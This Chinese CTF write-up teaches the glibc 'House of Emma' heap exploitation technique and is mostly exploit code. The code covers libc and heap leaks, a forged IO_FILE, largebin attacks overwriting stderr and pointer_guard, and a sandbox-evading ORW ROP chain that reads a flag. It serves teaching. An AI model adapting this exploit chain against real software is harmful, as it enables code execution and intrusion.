house of emma 心得体会
字数 1315 2025-08-25 22:58:47
House of Emma 利用技术详解
概述
House of Emma 是一种针对 glibc 2.23 及更高版本的 IO 流利用技术,通过劫持 stderr 指针和修改 __pointer_chk_guard 来实现任意代码执行。
利用条件
-
内存写入能力:
- 可以进行两次任意地址写堆地址(通常通过 largebin attack)
- 可以触发 IO 流操作
-
目标指针:
- 需要能够修改 stderr 指针(如果 stderr 位于 bss 段且不可写,则只能通过 exit 触发 FSOP)
- 需要能够攻击 TLS 结构体中的
_pointer_chk_guard
技术原理
核心机制
-
IO_cookie_jumps 虚表:
_IO_cookie_jumps结构体包含_IO_cookie_read、_IO_cookie_write等函数- 这些函数会调用函数指针,但调用前会使用
pointer_guard进行加密
-
加密函数指针调用:
static ssize_t _IO_cookie_read(FILE *fp, void *buf, ssize_t size) { struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp; cookie_read_function_t *read_cb = cfile->__io_functions.read; #ifdef PTR_DEMANGLE PTR_DEMANGLE(read_cb); #endif return read_cb(cfile->__cookie, buf, size); } -
绕过保护:
- 劫持 stderr 指针指向伪造的
fake_IO_FILE - 在
__pointer_chk_guard处写入已知内容,绕过函数指针调用的保护
- 劫持 stderr 指针指向伪造的
利用步骤
1. 信息泄露
泄露 libc 基址和堆地址:
add(0, 0x428, b'aaa')
add(1, 0x428, b'./flag\x00')
delete(0)
add(15, 0x448, b'./flag\x00')
add(14, 0x448, b'./flag\x00')
show(0)
libc_base = l64() - 0x21a0d0
heap_base = u64(p.recvuntil("\x55")[-6:].ljust(8, b"\x00")) - 0x290
2. 构造 fake_IO_FILE 和 ORW 链
gadget = libc_base + 0x00000000001675b0 # mov rdx, qword ptr [rdi + 8]
fake_file = b'0'*0x78
fake_file += p64(libc_base + 0x21ba60) # _IO_stdfile_2_lock
fake_file = fake_file.ljust(0xc8, b'\x00')
fake_file += p64(io_cookie_jumps_addr + 0x18)
fake_file += p64(heap_base + 0x10e0 + 0x450)
fake_file += p64(0)
enc_data = ((gadget ^ (heap_base + 0x1960)) >> (64 - 0x11)) | ((gadget ^ (heap_base + 0x1960)) << 0x11)
fake_file += p64(enc_data)
ORW 链构造:
orw = p64(0) + p64(heap_base + 0x10d0 + 0x460)
orw += b'\x00'*0x10
orw += p64(setcontext + 61)
orw += b'\x00'*0x78
orw += p64(chunk13 + 0xb0) + p64(ret)
orw += p64(pop_rdi_ret) + p64(0)
orw += p64(close) # close(0)
orw += p64(pop_rdi_ret) + p64(flag_path)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall) # open(flag_path,0)
orw += p64(pop_rdi_ret) + p64(0)
orw += p64(pop_rsi_ret) + p64(flag_path)
orw += p64(pop_rdx_ret) + p64(0x41)*2
orw += p64(Read) # read(0,flag_path,0x41)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(Write) # write(1,flag_path,0x41)
3. LargeBin Attack 攻击 stderr 和 pointer_guard
攻击 stderr:
add(2, 0x428, b'bbb')
add(3, 0x418, fake_file)
delete(2)
add(13, 0x438, orw)
add(12, 0x438, b'mmm')
delete(3)
pl = p64(libc_base + 0x21a0e0)*2 + p64(heap_base) + p64(stderr - 0x20)
edit(2, pl)
add(11, 0x458, b'lll') # 触发 stderr 覆盖
攻击 pointer_guard:
delete(15)
add(10, 0x450, b'rrr')
delete(12)
pl = p64(libc_base + 0x21a0e0)*2 + p64(heap_base + 0x860) + p64(pointer_guard - 0x20)
edit(15, pl)
add(9, 0x450, b'hhh') # 触发 pointer_guard 覆盖
4. 修改 top chunk 大小触发 IO 流
add(8, 0x450, b'ggg') # d50
delete(9)
delete(10)
delete(8)
add(7, 0x460, b'a'*0x458 + p64(0x471))
add(6, 0x460, b'a'*0x458 + p64(0x451))
delete(6)
delete(9)
add(4, 0x460, p64(0) + p64(0x100))
5. 触发 IO 调用链
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n', str(1))
sla('plz input your cat idx:\n', str(5))
sla('plz input your cat size:\n', str(0x460))
关键点说明
-
close(0) 的必要性:
- 沙箱限制 read 只能从 fd 0 读取
- 关闭标准输入后,open 返回的文件描述符会是 0
-
加密函数指针绕过:
- 需要精确计算
enc_data来绕过PTR_DEMANGLE保护 - 公式:
((gadget ^ (heap_base + offset)) >> (64 - 0x11)) | ((gadget ^ (heap_base + offset)) << 0x11)
- 需要精确计算
-
setcontext 使用:
- 使用
setcontext+61来设置寄存器状态 - 需要合适的 gadget 将 rdi 转移到 rdx
- 使用
限制与注意事项
-
stderr 不可写:
- 如果 stderr 位于不可写的 bss 段,只能通过 exit 触发 FSOP
- 构造不当可能导致 exit 无法正常执行
-
TLS 偏移:
- 远程可能需要爆破 TLS 偏移
__pointer_chk_guard的位置可能因环境而异
-
沙箱绕过:
- 需要构造完整的 ORW 链来绕过沙箱限制
- 确保文件操作的正确顺序和参数
完整利用链
- 泄露地址 → 2. 构造 fake_IO_FILE 和 ORW → 3. largebin attack 修改 stderr 和 pointer_guard → 4. 修改 top chunk → 5. 触发 IO 流 → 6. 执行 ORW 获取 flag